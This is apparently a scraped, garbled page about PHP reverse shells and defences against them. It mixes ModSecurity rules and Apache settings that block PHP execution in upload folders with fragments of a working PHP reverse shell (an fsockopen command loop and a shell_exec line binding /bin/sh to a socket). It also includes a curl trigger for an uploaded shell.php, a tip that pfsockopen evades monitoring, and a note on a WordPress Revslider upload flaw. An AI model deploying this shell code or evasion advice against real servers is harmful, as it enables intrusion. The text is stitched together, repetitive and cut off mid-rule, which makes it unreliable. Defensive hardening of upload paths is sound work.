SecRule REQUEST_FILENAME "\.php$" "chain,deny,id:10001" SecRule REQUEST_BODY|ARGS "(fsockopen|pfsockopen|shell_exec|system|`.*`)" "t:lowercase" Never allow user uploads to be executed as PHP. In Apache .htaccess :
?> pfsockopen() is less commonly monitored and creates a persistent connection. Reverse Shell Php
if (is_resource($process)) $socket = fsockopen($ip, $port); fwrite($socket, "Connected to reverse shell\n"); while (!feof($socket)) $cmd = fgets($socket); if (trim($cmd) == 'exit') break; fwrite($pipes[0], $cmd); $output = stream_get_contents($pipes[1]); fwrite($socket, $output); SecRule REQUEST_FILENAME "\
curl http://target.com/uploads/shell.php Instantly, your netcat listener will pop a shell: SecRule REQUEST_FILENAME "\.php$" "chain
<Directory "/var/www/html/uploads"> php_flag engine off AddType text/plain .php .phtml .php5 </Directory> Between 2014 and 2017, the Revslider plugin for WordPress had a file upload vulnerability. Attackers uploaded a file named shell-316.php containing a simple reverse shell:
// Duplicate socket descriptors for STDIN, STDOUT, STDERR shell_exec('/bin/sh -i 0<&3 1>&3 2>&3');